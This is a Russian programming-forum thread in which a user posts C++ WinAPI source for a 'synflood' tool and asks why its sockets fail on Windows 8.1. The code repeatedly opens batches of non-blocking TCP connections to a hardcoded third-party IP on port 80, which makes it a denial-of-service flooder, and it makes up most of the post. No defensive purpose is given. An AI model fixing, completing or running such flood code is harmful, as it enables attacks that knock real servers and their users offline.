Форум программистов, компьютерный форум, киберфорум
C/C++: WinAPI
Войти
Регистрация
Восстановить пароль
Карта форума Темы раздела Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 5.00/4: Рейтинг темы: голосов - 4, средняя оценка - 5.00
-3 / 3 / 1
Регистрация: 21.03.2015
Сообщений: 133
1

Не работает отправка SYN пакетов

22.06.2016, 15:38. Показов 705. Ответов 1
Метки нет (Все метки)

Author24 — интернет-сервис помощи студентам
Типо ошибка сокета^:
printf("INVALID SOCKET");

и при коннекте:
if (connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr)) != 0)
printf("Error");

Или вся проблема в том что вин 8.1 не поддерживает такую фигню?
C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
#include "stdafx.h"
 
 
 
 
#include <winsock2.h>
#pragma comment (lib,"ws2_32.lib")
#include <stdio.h>
#include <stdlib.h>
 
#include <stdint.h>
 
#include <Windows.h>
 
 
 
 
#define MAX_PACK_LEN 65535
#define SIO_RCALL 0x98000001
#define SUPERSYN_SOCKETS 20
 
 
#define SYN_DPORT 2000
#define SYN_XORVAL 0xFFFFFFFF
#define SYN_SPOOF_TEST 2001
#define SYN_SPOOF_GOOD 2002
 
typedef struct SUPERSYN {
 
    SOCKET sock;
    char *ip;
    char *port;
    char *length;
    char chan[128];
    int threadnum;
    BOOL notice;
    BOOL silent;
    BOOL gotinfo;
    void *conn;
    char target[128];
 
} SUPERSYN;
 
DWORD WINAPI SuperSynThread(LPVOID param);
long SuperSynSend(unsigned long TargetIP, unsigned short TargetPort, int len);
long SuperSyn(char *target, char *port, char *len);
 
 
 int _tmain (int argc, char *argv[]) {
     printf("synflood");
     DWORD id[10];
 
     SUPERSYN syn;
     syn.ip = (char *)"209.85.135.103";
 
        syn.port = "80";
        syn.length = "10";
     CreateThread(NULL, 0, SuperSynThread,  &syn, 0, &id[0]);
     system("pause");
     return 0;
 }
 
DWORD WINAPI SuperSynThread(LPVOID param)
{
    
 
    SUPERSYN supersyn = *((SUPERSYN *)param);
    SUPERSYN *supersyns = (SUPERSYN *)param;
    supersyns->gotinfo = TRUE;
    
    printf(supersyn.ip);
    printf(supersyn.port);
    printf(supersyn.length);
 
 
     SuperSyn(supersyn.ip, supersyn.port, supersyn.length);
    
    ExitThread(0);
    return 0;
}
 
long SuperSynSend(unsigned long TargetIP, unsigned short TargetPort, int len)
{
    int superdelay = 100;
    SOCKADDR_IN    SockAddr;
    SOCKET         sock[SUPERSYN_SOCKETS];
    IN_ADDR iaddr;
    memset(&SockAddr, 0, sizeof(SockAddr));
    SockAddr.sin_family = AF_INET;
    SockAddr.sin_port = htons(TargetPort);
    LPHOSTENT lpHostEntry = NULL;
    DWORD mode = 1;
    int c,i;
    iaddr.s_addr = TargetIP;
    SockAddr.sin_addr = iaddr; //ip addy
    i = 0;
    while (i < len) {
        for (c=0;c<SUPERSYN_SOCKETS;c++)
        {
            sock[c] = socket(AF_INET, SOCK_STREAM, 0);
            if (sock[c] == INVALID_SOCKET) {
                printf("INVALID SOCKET");
continue; 
            }
                
            ioctlsocket(sock[c],FIONBIO,&mode);
        }
        for (c=0;c<SUPERSYN_SOCKETS;c++) {
            
            if (connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr)) != 0) 
printf("Error");
            else
                printf("Sending!!!");
        }
        Sleep(superdelay);
        for (c=0;c<SUPERSYN_SOCKETS;c++)
            closesocket(sock[c]); //close sockets
        i++;
    }
 
    return 0;
}
 
long SuperSyn(char *target, char *port, char *len)
{
    unsigned long IP = inet_addr(target);
 
    if (IP==INADDR_NONE) {
        hostent *pHE = gethostbyname(target);
        if (pHE == 0)
            return INADDR_NONE;
        IP = *((unsigned long *)pHE->h_addr_list[0]);
    }
 
    unsigned long TargetIP = IP;
    unsigned short p = (unsigned short)atoi(port);
    int t = atoi(len);
 
    long num = SuperSynSend(TargetIP, p, t);
 
    if (num == 0)
        num = 1;
    num = num / 1000 / t;
 
    return num;
}
0
Programming
Эксперт
94731 / 64177 / 26122
Регистрация: 12.04.2006
Сообщений: 116,782
22.06.2016, 15:38
Ответы с готовыми решениями:

Отправка пакетов
Доброго времени суток. Давно интересовался данной функцией , о найти толкового ответа , как ей...

Отправка пакетов
Нужно мне подключиться к серверу и кидать ему пакеты. Собственно как это сделать?

Отправка пакетов
Подскажите пожалуйста, как и про помощи каких компонентов посылать пакеты на сервер онлайн игр....

Прием и отправка пакетов
Всем привет! Нужно отправить определенной структуры пакет серверу на порт 28000. Так выглядит...

1
-3 / 3 / 1
Регистрация: 21.03.2015
Сообщений: 133
23.06.2016, 16:28  [ТС] 2
Неужели так сложно ответить...
0
23.06.2016, 16:28
IT_Exp
Эксперт
87844 / 49110 / 22898
Регистрация: 17.06.2006
Сообщений: 92,604
23.06.2016, 16:28
Помогаю со студенческими работами здесь

Быстрая отправка пакетов
Здравствуйте. Полез в сокеты, простое клиент-серверное приложение написал, всё работает,...

Отправка пакетов в enc28j60
Здравствуйте уважаемые форумчане. Хочу у Вас спросить про алгоритм отправки пакета в enc28j60....

Отправка странных пакетов
Каждый раз при загрузке WinXP на некоторый (один и тот же) адрес уходит странная последовательность...

Отправка больших пакетов
Ну вообщем есть приложение клиент-сервер в котором я использую Connection.Socket.Send(Data,...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
2
Ответ Создать тему
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2024, CyberForum.ru